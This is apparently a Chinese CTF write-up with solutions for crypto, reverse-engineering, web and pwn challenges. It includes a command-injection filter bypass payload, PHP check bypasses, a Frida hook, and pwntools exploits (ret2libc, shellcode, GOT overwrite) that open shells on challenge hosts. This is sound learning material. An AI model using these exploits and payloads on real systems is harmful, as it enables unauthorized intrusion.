CRYPTO

caeser

synt{uvfgbevpny_pvcure_vf_ihyarenoyr}提示凯撒加密,直接穷举得到flag。
flag{historical_cipher_is_vulnerable}

吉奥万·巴蒂斯塔·贝拉索先生的密码

pqcq{gteygpttmj_kc_zuokwv_kqb_gtofmssi_mnrrjt}
Hint: key length is 3
题目讲的就是Vigenère cipher,一把梭。
flag{bruteforce_is_useful_for_breaking_cipher}

eazyxor

xor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from os import urandom
from secret import flag
key = urandom(1)

def xor(plaintext, key):
ret = []
for i in range(len(plaintext)):
ret.append(plaintext[i] ^ key[0])
return bytes(ret)

ciphertext = xor(flag, key)

print(ciphertext.hex())

output.txt:

1
9b919c9a8685cd8fa294c8a28c88cc89cea2ce9c878480

urandom(1)就是随机生成一个字符串 赋值给key
密文由xor(flag,key)生成的。xor函数就是遍历flag将每一位与key异或,密文以16进制输出。
思路:
一个数异或另一个数两次返回本身,那么思路就是找出这个key。
我们已知明文前缀为flag{,那么可以把前缀与密文的16进制进行异或,得到key为253

image-20221005214858218.png

exp.py

1
2
3
4
5
6
key = 253
cipher = '9b919c9a8685cd8fa294c8a28c88cc89cea2ce9c878480'
flag = ""
for i in range(0,len(cipher),2):
flag += chr(int(cipher[i:i+2],16) ^ key)
print(flag)

flag{x0r_i5_qu1t3_3azy}

RSA_begin

task.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from Crypto.Util.number import *
from secret import flag


assert len(flag) % 5 == 0
cnt = len(flag) // 5
flags = [flag[cnt*i:cnt*(i+1)] for i in range(5)]


# Try to implement your RSA with primes p and q
def level1(message):
m = bytes_to_long(message)
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 0x10001
assert m < n
c = pow(m, e, n)
print(f'c = {c}')
print(f'p = {p}')
print(f'q = {q}')


# But how can we attack the RSA when we didn't know the primes?
def level2(message):
m = bytes_to_long(message)
p = getPrime(64)
q = getPrime(64)
n = p * q
e = 0x10001
assert m < n
c = pow(m, e, n)
print(f'c = {c}')
print(f'n = {n}')


# Different e may cause danger?
def level3(message):
m = bytes_to_long(message)
p = getPrime(512)
q = getPrime(512)
e = 3
n = p * q
assert m < n
c = pow(m, e, n)
print(f'c = {c}')
print(f'n = {n}')


# So is there anything wrong with RSA as shown below?
def level4(message):
m = bytes_to_long(message)
p = getPrime(512)
q = getPrime(512)
d = getPrime(64)
e = inverse(d, (p-1) * (q-1))
n = p * q
assert m < n
c = pow(m, e, n)
print(f'c = {c}')
print(f'e = {e}')
print(f'n = {n}')


# What about different n? Just have a try with the hint!
def level5(message):
m = bytes_to_long(message)
p = getPrime(512)
q = getPrime(512)
n = p * p * q
e = 0x10001
d = inverse(e, p * (p-1) * (q-1))
assert m < n
c = pow(m, e, n)
hint = pow(d, e, n)
print(f'c = {c}')
print(f'hint = {hint}')
print(f'n = {n}')


print('Level 1:')
level1(flags[0])
print('Level 2:')
level2(flags[1])
print('Level 3:')
level3(flags[2])
print('Level 4:')
level4(flags[3])
print('Level 5:')
level5(flags[4])

可以看到flag被分成5个部分。

level1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Try to implement your RSA with primes p and q
def level1(message):
m = bytes_to_long(message)
p = getPrime(512)
q = getPrime(512)
n = p * q
e = 0x10001
assert m < n
c = pow(m, e, n)
print(f'c = {c}')
print(f'p = {p}')
print(f'q = {q}')


Level 1:
c = 22160015525054597533062795679117215923801827397299805735087138192137742945881204146337349060934854888054628153923021387981306839951210090523829296521835965212118849043671673133979884712755090374758002677916820953359774554825569218497687506468472278309097929775388010403607769802840990547048001743970754496905
p = 6962443023774446497102092246794613339314677593117417573764609329949026862782472380488956732038459060928443992561763464365758383525259954798321350043810351
q = 9631855759661411029901156175243744760977799976661519182223576693685069000499866459636568713055906075171480855575061732016121299027658733834671035383233163

p,q,e,c都给出来了,直接求,也可以工具一把梭。

1
2
3
4
5
6
7
8
9
def flag1():
c = 22160015525054597533062795679117215923801827397299805735087138192137742945881204146337349060934854888054628153923021387981306839951210090523829296521835965212118849043671673133979884712755090374758002677916820953359774554825569218497687506468472278309097929775388010403607769802840990547048001743970754496905
p = 6962443023774446497102092246794613339314677593117417573764609329949026862782472380488956732038459060928443992561763464365758383525259954798321350043810351
q = 9631855759661411029901156175243744760977799976661519182223576693685069000499866459636568713055906075171480855575061732016121299027658733834671035383233163
e = 0x10001
n = p * q
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
return long_to_bytes(m)

level2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# But how can we attack the RSA when we didn't know the primes?
def level2(message):
m = bytes_to_long(message)
p = getPrime(64)
q = getPrime(64)
n = p * q
e = 0x10001
assert m < n
c = pow(m, e, n)
print(f'c = {c}')
print(f'n = {n}')


Level 2:
c = 17250922799297131008803303235771955129
n = 134097988095851988085603926250918812377

这题给了n,没有p q,工具分解一下。

image-20221005220552164.png

1
2
3
4
5
6
7
8
9
def flag2():
c = 17250922799297131008803303235771955129
n = 134097988095851988085603926250918812377
e = 0x10001
p = 10094271714305059493
q = 13284562957208247589
d = libnum.invmod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
return long_to_bytes(m)

level3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Different e may cause danger?
def level3(message):
m = bytes_to_long(message)
p = getPrime(512)
q = getPrime(512)
e = 3
n = p * q
assert m < n
c = pow(m, e, n)
print(f'c = {c}')
print(f'n = {n}')


Level 3:
c = 2776571135646565181849912433877522437622755332262910824866791711
n = 85793694792655420934945863688968944466300304898903354212780512650924132933351787673979641944071634528676901506049360194331553838080226562532784448832916022442020751986591703547743056267118831445759258041047213294368605599719242059474324548598203039032847591828382166845797857139844445858881218318006747115157

可以看到e很小,考虑低加密指数攻击。

1
2
3
4
5
6
7
8
9
10
11
12
def flag3():
c = 2776571135646565181849912433877522437622755332262910824866791711
n = 85793694792655420934945863688968944466300304898903354212780512650924132933351787673979641944071634528676901506049360194331553838080226562532784448832916022442020751986591703547743056267118831445759258041047213294368605599719242059474324548598203039032847591828382166845797857139844445858881218318006747115157
e = 3
k = 0
while True:
mm = c + n * k
m, flag = gmpy2.iroot(mm, e)
if flag:
break
k += 1
return long_to_bytes(m)

level4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# So is there anything wrong with RSA as shown below?
def level4(message):
m = bytes_to_long(message)
p = getPrime(512)
q = getPrime(512)
d = getPrime(64)
e = inverse(d, (p-1) * (q-1))
n = p * q
assert m < n
c = pow(m, e, n)
print(f'c = {c}')
print(f'e = {e}')
print(f'n = {n}')


Level 4:
c = 68588738085497640698861260094482876262596289469248772328560280530093163764972313090939471997156632421517452790632223565521726590730640805290182026911025142051864898712501214753986865172996090706657535814234291235489829621372021092488300236623525366939477695283380634188510950335639019458758643273802572617191
e = 51999725233581619348238930320668315462087635295211755849675812266270026439521805156908952855288255992098479180003264827305694330542325533165867427898010879823017054891520626992724274019277478717788189662456052796449734904215067032681345261878977193341769514961038309763898052908572726913209883965288047452751
n = 68816697240190744603903822351423855593899797203703723038363240057913366227564780805815565183450516726498872118491739132110437976570592602837245705802946829337567674506561850972973663435358068441037127926802688722648016352967768929007662772115485020718202683004813042834036078650571763978066558718285783045969

看到这个e = inverse(d, (p-1) * (q-1)),考虑维纳攻击

image-20221005221502693.png

level5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# What about different n? Just have a try with the hint!
def level5(message):
m = bytes_to_long(message)
p = getPrime(512)
q = getPrime(512)
n = p * p * q
e = 0x10001
d = inverse(e, p * (p-1) * (q-1))
assert m < n
c = pow(m, e, n)
hint = pow(d, e, n)
print(f'c = {c}')
print(f'hint = {hint}')
print(f'n = {n}')


Level 5:
c = 1135954814335407362237156338232840769700916726653557860319741136149066730262056907097728029957898420630256832277578506404721904131425822963948589774909272408535427656986176833063600681390871582834223748797942203560505159946141171210061405977060061656807175913366911284450695116982731157917343650021723054666494528470413522258995220648163505549701953152705111304471498547618002847587649651689203632845303117282630095814054989963116013144483037051076441508388998829
hint = 611144874477135520868450203622074557606421849009025270666985817360484127602945558050689975570970227439583312738313767886380304814871432558985582586031211416586296452510050692235459883608453661597776103386009579351911278185434163016083552988251266501525188362673472772346212970459561496301631587043106524741903627979311997541301471894670374945556313285203740782346029579923650160327646876967315182335114575921178144825057359851607166387868294019144940296084605930
n = 1232865496850144050320992645475166723525103370117149219196294373695624167653495180701004894188767069545579706264513808335877905149818445940067870026924895990672091745229251935876434509430457142930654307044403355838663341948471348893414890261787326255632362887647279204029327042915224570484394917295606592360109952538313570951448278525753313335289675455996833500751672463525151201002407861423542656805624090223118747404488579783372944593022796321473618301206064979

可以看到n很大,尝试用factor分解,没想到分解出来了。有可能是非预期解吧,hint没有用到。

image-20221005222330514.png

直接带入就能出flag。
flag{W0w_U_ar3_re4L1y_g0Od_4t_m4th_4nD_RSA!!}

chaos

chaos.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import random
import time
from secret import flag


def LC(key, x, times, flags):
(k1, k2) = key
xn = []
xn.append(x)
if flags:
xn.append(1 - 2 * xn[0]**2)
else:
xn.append(k2 * xn[0]**3 + (1 - k2)*xn[0])
for i in range(times):
assert xn[i]>=-1 and xn[i]<=1 and xn[i+1]>=-1 and xn[i+1]<=1
if flags:
xn.append((1 - 2 * xn[i]**2)*(k1 * xn[i+1]**3 + (1 - k1)*xn[i+1]))
else:
xn.append((k2 * xn[i]**3 + (1 - k2)*xn[i])*(1 - 2 * xn[i+1]**2))
return xn[times + 1]


def init():
sum, r, k = 0, 1, []
k1 = random.uniform(3.2, 4)
k2 = random.uniform(3.2, 4)
for i in range(16):
k.append(random.randint(1,256))
sum += k[-1]
r ^= k[-1]
a_1 = (sum/256) % 1
timea1 = 3 + int(1000 * a_1) % 30
b_1 = (r/256)
timeb1 = 3 + int(1000 * b_1) % 30
xc_1 = a_1 * b_1
yc_1 = (a_1 + b_1) % 1
print('k1, k2 = %r, %r'%(k1, k2))
print('k = %r'%k)
return (k1, k2), (a_1, timea1, b_1, timeb1, xc_1, yc_1)


def encrypt(key, data, flag):
(k1, k2) = key
(a_1, timea1, b_1, timeb1, xc_1, yc_1) = data
flag = list(flag)
m, c = [], []
miu, omiga = [], []
ta = timea1
tb = timeb1
for tmp in flag:
mi = ord(tmp)
miu.append(LC(key, a_1, ta, 1))
omiga.append(LC(key, b_1, tb, 0))
c.append(((int(miu[-1] * 1000) + int(omiga[-1] * 1000)) ^ mi) % 256)
delta = c[-1]/256
for i in range(3):
y = (yc_1 + delta) % 1
y = k1 * y**3 + (1 - k1) * y
x = xc_1
x = k2 * x**3 + (1 - k2) * x
ta = 3 + int(1000 * x) % 30
tb = 3 + int(1000 * y) % 30
print('c = %r'%(c))
return c


if __name__=="__main__":
# print(flag)
key, data = init()
c = encrypt(key, data, flag)


'''
k1, k2 = 3.967139695598587, 3.7926025078694305
k = [107, 99, 55, 198, 210, 56, 137, 44, 127, 25, 150, 113, 75, 215, 187, 132]
c = [23, 84, 105, 111, 230, 105, 97, 50, 58, 61, 25, 97, 57, 21, 175, 77, 102, 138, 120, 17, 66, 172, 52, 178, 101, 221, 109, 126, 71, 149, 63, 32, 56, 6, 134, 255, 110, 57, 15, 20, 116]
'''

已知条件:k1,k2,c

image-20221005222703786.png

Step 1:

先看最底下先运行的部分,key,data = init(),跟进

image-20221005222737943.png

首先,k1,k2是3.2到4区间的随机小数,题目print出来了,也就是key。 这是题目给我们的已知条件key

其次,sum,r,k给了我们,其中k也被print出来,我们看看k是什么东西。

image-20221005222838187.png
k经过了16次循环,每次添加1-256之间的随机数,与此同时 sum和r也与k有关,那么题目告诉了我们k还有sum和r的原值,我们可以推出sum和r

sum和r又有什么用呢?

image-20221005222911437.png
这些数据都与sum和r有关,只要我们知道了sum和r,就可以知道这些数据,也就是return回去的data

所以我们已知条件已有:sum,r,k

可以推出 => a_1, timea1, b_1, timeb1, xc_1, yc_1 => data

已知:k1,k2 可以推出=> key

先写脚本把data推出,遍历k,然后得出sum和r 最后把每个值得出即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sum, r, k = 0, 1, [107, 99, 55, 198, 210, 56, 137, 44, 127, 25, 150, 113, 75, 215, 187, 132]  
k1,k2 = 3.967139695598587, 3.7926025078694305
for i in k:
sum += i
r ^= i
a_1 = (sum/256) % 1
timea1 = 3 + int(1000 * a_1) % 30
b_1 = (r/256)
timeb1 = 3 + int(1000 * b_1) % 30
xc_1 = a_1 * b_1
yc_1 = (a_1 + b_1) % 1


data = (a_1, timea1, b_1, timeb1, xc_1, yc_1)


key = (k1,k2)


print(key,data)

REVERSE

Hello_Reverse

查壳,发现无壳,PE64位文件,直接丢进IDA64。

image-20221006102306809.png

按shift + F12,搜索整个文件的字符串,拿到前半截flag

image-20221006103517648.png

找到主函数,按f5反汇编得到后半段flag

image-20221006105430891.png

flag{h3llo_r3vers1ng_w0rld}

Baby_Re

查壳,是ELF64位的无壳程序。

image-20221006105534153.png

观察main函数,按n稍微改变下变量名好观察,可以发现我们的输入异或了自身下标,随后进去compare函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t len; // rbx
char input[8]; // [rsp+0h] [rbp-40h]
__int64 v6; // [rsp+8h] [rbp-38h]
__int64 v7; // [rsp+10h] [rbp-30h]
__int64 v8; // [rsp+18h] [rbp-28h]
char v9; // [rsp+20h] [rbp-20h]
int i; // [rsp+2Ch] [rbp-14h]

*(_QWORD *)input = 0LL;
v6 = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0;
puts("Welcome to RE world,Can you solve the problem?");
printf("Now you should input your flag and i'll tell you if it is right:", argv, 0LL, 0LL, 0LL, 0LL, *(_QWORD *)&v9);
__isoc99_scanf("%s", input);
for ( i = 0; ; ++i )
{
len = i;
if ( len >= strlen(input) )
break;
input[i] ^= i;
}
if ( (unsigned int)compare(input) )
puts("Well done! You find the secret!");
else
puts("The flag is wrong! Maybe something run before main");
return 0;
}

观察compare函数,可以发现其直接与密文比较,那么进入final与自身下标异或。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
signed __int64 __fastcall compare(const char *input)
{
signed int i; // [rsp+1Ch] [rbp-4h]

if ( strlen(input) != 32 )
{
puts("The length of flag is Wrong!!");
exit(0);
}
for ( i = 0; i <= 31; ++i )
{
if ( final[i] != input[i] )
return 0LL;
}
return 1LL;
}

image-20221006110403727.png

异或后发现flag是错误的。

看hint,程序真的都是从main开始的吗?简单来说程序的运行流程

  • Init -> main

对抗这种Init段该了些数值的办法一个是动调。

另一个就是 X!交叉引用

image-20221002145534839

即可在目标地方发现了改了密文的地方,密文这几个位被更改了。

1
2
3
4
5
6
7
void FunctionName()
{
final[6] = 54;
final[11] = 58;
final[22] = 38;
final[30] = 63;
}

那么拿到正确密文

1
2
3
4
5
6
7
8
final=[0x66, 0x6D, 0x63, 0x64, 0x7F, 0x56, 0x36, 0x6A, 0x6D, 0x7D, 
0x62, 0x3A, 0x62, 0x6A, 0x51, 0x7D, 0x65, 0x7F, 0x4D, 0x71,
0x71, 0x73, 0x26, 0x65, 0x7D, 0x46, 0x77, 0x7A, 0x75, 0x73,
0x3F, 0x62]
flag=''
for i in range(len(final)):
flag+=chr(final[i]^i)
print(flag)

flag{S0meth1ng_run_bef0re_main!}

Pyre

python程序逆向,用pyinstxtractor.py解包

image-20221006114234166.png

直接uncompyle6反编译pyc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.8.8 (tags/v3.8.8:024d805, Feb 19 2021, 13:08:11) [MSC v.1928 32 bit (Intel)]
# Embedded file name: pyre.py
flag = ''
encode = 'REla{PSF!!fg}!Y_SN_1_0U'
table = [7, 8, 1, 2, 4, 5, 13, 16, 20, 21, 0, 3, 22, 19, 6, 12, 11, 18, 9, 10, 15, 14, 17]

def enc(input):
tmp = ''
for i in range(len(input)):
tmp += input[table[i]]

return tmp


if __name__ == '__main__':
print('Please input your flag:')
flag = input()
if len(flag) != 23:
print('Length Wrong!!')
else:
final = enc(flag)
if final == encode:
print('Wow,you get the right flag!!')
else:
print('Sorry,Your input is Wrong')
# okay decompiling .\pyre.pyc

分析代码,可以发现我们的输入只是进行了经过table表的下标混淆,直接经过table表还原即可。

1
2
3
4
5
table = [7, 8, 1, 2, 4, 5, 13, 16, 20, 21, 0, 3, 22, 19, 6, 12, 11, 18, 9, 10, 15, 14, 17]
flag = 'REla{PSF!!fg}!Y_SN_1_0U'

for i in range(len(flag)):
print(flag[table.index(i)], end = "")

flag{PYRE_1S_S0_FUN!!!}

EasyRe

该程序从enc.dll中加载encode函数,我们的明文str经过encode加密而后与final进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
int __cdecl main(int argc, const char **argv, const char **envp)
{
char final[100]; // [rsp+20h] [rbp-60h] BYREF
char input[100]; // [rsp+90h] [rbp+10h] BYREF
char str[100]; // [rsp+100h] [rbp+80h] BYREF
Lpfunc encode; // [rsp+170h] [rbp+F0h]
HMODULE handle; // [rsp+178h] [rbp+F8h]

_main(argc, argv, envp);
memset(str, 0, sizeof(str));
memset(input, 0, sizeof(input));
memset(final, 0, sizeof(final));
memset(final, 8, 2);
final[2] = 14;
final[3] = 13;
final[4] = 40;
final[5] = 64;
final[6] = 17;
final[7] = 17;
final[8] = 60;
final[9] = 46;
final[10] = 43;
final[11] = 30;
final[12] = 61;
final[13] = 15;
final[15] = 3;
final[16] = 59;
final[17] = 61;
final[18] = 60;
final[19] = 21;
final[20] = 40;
final[21] = 5;
final[22] = 80;
final[23] = 70;
final[24] = 63;
final[25] = 42;
final[26] = 57;
final[27] = 9;
final[28] = 49;
final[29] = 86;
final[30] = 36;
final[31] = 28;
qmemcpy(&final[32], "?$P<,%#K", 8);
handle = LoadLibraryA("enc.dll");
if ( !handle )
{
puts("Dll Loading Failed");
exit(0);
}
encode = 0i64;
encode = (Lpfunc)GetProcAddress(handle, "encode");
if ( !encode )
{
puts("Get Function Failed");
exit(0);
}
printf("Please input your flag:");
scanf("%s", input);
encode(input, str);
if ( !strcmp(str, final) )
puts("Your input is right:)");
else
puts("The flag is Wrong:(");
FreeLibrary(handle);
return 0;
}

将该enc.dll拉进IDA分析encode函数,Ctrl + F 在函数框中 搜索函数。(为什么出现两个encode,这其实是C++逆向的特性,具体原因以后会慢慢明白)

image-20221011154914716.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall encode_0(const char *a1, __int64 a2)
{
int v3; // [rsp+24h] [rbp+4h]
int v4; // [rsp+64h] [rbp+44h]
int v5; // [rsp+84h] [rbp+64h]

j___CheckForDebuggerJustMyCode(&unk_180021001);
v3 = j_strlen(a1);
v4 = 0;
v5 = 0;
while ( v4 < v3 )
{
*(_BYTE *)(a2 + v5) = aAbcdefghijklmn[a1[v4] >> 2];
*(_BYTE *)(a2 + v5 + 1) = aAbcdefghijklmn[((a1[v4 + 1] & 0xF0) >> 4) | (16 * (a1[v4] & 3))];
*(_BYTE *)(a2 + v5 + 2) = aAbcdefghijklmn[((a1[v4 + 2] & 0xC0) >> 6) | (4 * (a1[v4 + 1] & 0xF))];
*(_BYTE *)(a2 + v5 + 3) = aAbcdefghijklmn[a1[v4 + 2] & 0x3F];
v4 += 3;
v5 += 4;
}
if ( v3 % 3 == 1 )
{
*(_BYTE *)(a2 + v5 - 1) = 61;
*(_BYTE *)(a2 + v5 - 2) = 61;
}
else if ( v3 % 3 == 2 )
{
*(_BYTE *)(a2 + v5 - 1) = 61;
}
return sub_18001132A(a2);
}

进入aAbcdefghijklmn发现一串字符串,很明显的base64加密。

image-20221011155015174.png

随后return进入sub_18001132A函数,发现你逻辑是与一个字符串’Reverse’进行异或。

image-20221011155750852.png

1
2
3
4
5
6
7
8
9
const char *__fastcall sub_180011660(const char *output)
{
int i; // [rsp+24h] [rbp+4h]

j___CheckForDebuggerJustMyCode(&unk_180021001);
for ( i = 0; i < j_strlen(output); ++i )
output[i] ^= Str[i % j_strlen(Str)];
return output;
}

那么逆向的过程就是将密文异或字符串,再Base64解密即可。

image-20221011161751552.png

动调拿到数据。

exp

1
2
3
4
5
6
7
8
import pybase64
str=[8, 8, 14, 13, 40, 64, 17, 17, 60, 46, 43, 30, 61, 15, 0, 3, 59, 61, 60, 21, 40, 5, 80, 70, 63, 42, 57, 9, 49, 86, 36, 28, 63, 36, 80, 60, 44, 37, 35, 75]
key='Reverse'
flag=''
for i in range(len(str)):
flag+=chr(str[i]^ord(key[i%len(key)]))
flag=pybase64.b64decode(flag)
print(flag)

flag{Base64_1s_1nterestr1ng!!}

艾克体悟题

apk逆向,jeb反汇编java。

image-20221011165109988.png

在FlagActivity类里发现代码逻辑是当cnt大于10000就能得到flag。

这里有两种方法可以get flag

那么一个思路就是点一万下

另一个思路就是hook access$000 函数让该函数直接返回10000,判断就成立了,我们就GetFlag了

所以此时就可以用 Frida 了,就是在程序运行的时候 hook 返回值变为1000即可

1
./data/local/tmp/frida-server # 进入shell Frida启动!

再进入一个shell 启动指定控件

1
am start -n com.droidlearn.activity_travel/com.droidlearn.activity_travel.FlagActivity

查看我们启动控件的PID

1
2
3
4
5
6
7
8
9
C:\Users\hungs>frida-ps -aU
PID Name Identifier
----- --------------- ---------------------------------------
10738 Activity_Travel com.droidlearn.activity_travel
9870 Android Auto com.google.android.projection.gearhead
23407 Google com.google.android.googlequicksearchbox
9063 Google Play 商店 com.android.vending
9022 Google Play 电影 com.google.android.videos
11206 Magisk com.topjohnwu.magisk

接着我们就是 attach 上了

1
2
3
4
import frida
# 连接安卓机上的frida-server
device = frida.get_usb_device()
session = device.attach(10738)

接着可以编写我们的 js 脚本用来重写要hook的类方法

1
2
3
4
5
6
7
8
9
10
11
12
13
console.log("Script loaded successfully ");
Java.perform(function x() {
console.log("Inside java perform function");
//定位类
var my_class = Java.use("com.droidlearn.activity_travel.FlagActivity");
console.log("Java.Use.Successfully!");
//在这里更改类的方法的实现(implementation)
my_class.access$000.implementation = function(x){
//打印替换前的参数
console.log("Successfully!");
return 10001;
}
});

接着让我们的 js 脚本加载到该目标进程上即可

1
2
3
4
5
6
7
8
9
10
11
import frida

# 连接安卓机上的frida-servr
device = frida.get_usb_device()
session = device.attach(10738)
# 加载hooook.js脚本
with open("hooook.js", encoding='UTF-8') as f:
script = session.create_script(f.read())
script.load()
# 脚本会持续运行等待输入
input()

运行脚本,再点击 CLICK ME 即可!

GetFlag!

WEB

前4题和最后一题不说,不难。

NotPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
echo "Hack Me";
eval("#".$_GET['cmd']);
}else{
die("Number error!");
}
}else{
die("Wrong Key!");
}
}else{
die("Pass it!");
}

php代码审计。

  • 第一层要求将参数data所带的字符串为Welcome to CTF。

    用data://伪协议传入数据流绕过。

  • 第二层要求md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']

    MD5强比较,那么用数组绕过,md5()函数无法处理数组,如果传入的为数组,会返回NULL。== 弱比较可用科学计数法绕过。参考文章:(65条消息) 浅谈PHP中哈希比较缺陷问题及哈希强比较相关问题_末初mochu7的博客-CSDN博客

  • 第三层!is_numeric($_POST['num']) && intval($_POST['num']) == 2077

    is_numeric()判断是不是数字或数字字符串,intval() 函数用于获取变量的整数值,可以使用2077a,2077%00,2077%0a绕过

  • 第四层eval("#".$_GET['cmd']);

    .拼接字符串,#后的被注释了,可以用%0a换行绕过,或者?>闭合。

即可得到flag。

So Baby RCE

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
echo "Don't Hack Me";
}else{
system($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}

简单写个脚本,可以看到这些字符没被过滤。
image-20221026100324165.png
利用cd切换目录,&&执行多条,$@绕过关键字

1
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ls

image-20221026101033075.png
playload:

1
?cmd=cd%09..%26%26cd%09..%26%26cd%09..%26%26ls%26%26ca$@t%09ffff$@llllaaaaggggg

image-20221026101433108.png

PWN

ret2text

1
2
3
4
5
6
from pwn import *

p=remote('node4.buuoj.cn',29527)
payload = b'a'*(0x20+0x08) + p64(0x400708)
p.sendline(payload)
p.interactive()

calc

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('node4.buuoj.cn',29946)
for i in range(100):
p.recvuntil('answer?')
n = p.recvline().decode()
print(n)
question = n.strip().split('=')[0]
if 'x' in question:
question = question.replace('x','*')
answer = str(eval(question))
p.sendline(answer)
p.interactive()

ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.log_level = 'debug'
p = remote('node4.buuoj.cn',28197)
elf = ELF('./pwn2')
libc = ELF('./libc-2.31.so')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi = 0x0000000000400753
main = 0x400698

payload = b'a'*(0x20+0x08) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

print(hex(puts_addr))

puts_offset = 0x84420
execve = 0xe3afe
pop = 0x000000000040074c

libc_addr = puts_addr - puts_offset
execve_addr = libc_addr + execve

payload = b'a'*(0x20+0x08) + p64(pop) + p64(0)*4 + p64(execve_addr)
p.sendafter('time?',payload)
p.interactive()

ret2shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#from LibcSearcher import *

local_file = './shell'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',25903 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
sla = lambda delim,data :r.sendlineafter(delim, data)
#-----------------------------
sla('Hello my friend.Any gift for me?\n',asm(shellcraft.sh()))
sla('Anything else?\n','a'*0x30+'b'*8+p64(0x233000))
r.interactive()

fallw1nd’s gift

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
#from LibcSearcher import *

local_file = './fallw1nd_gift'
local_libc = './libc-2.31.so'
remote_libc = './libc-2.31.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
else:
r = remote('node4.buuoj.cn',25419)
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
gdb.attach(r,cmd)
#----------------------
ru('gift as reward:\n')
puts_got=eval(rc(14))
print hex(puts_got)
base=puts_got-libc.sym['puts']
print hex(base)
system=base+libc.sym['system']
print hex(libc.sym['puts'])
puts_plt=base+libc.sym['puts']
#debug()
sla('now input your addr:\n',str(hex(0x4033f8)).replace('0x',''))
se(p64(system))
#debug()
r.interactive()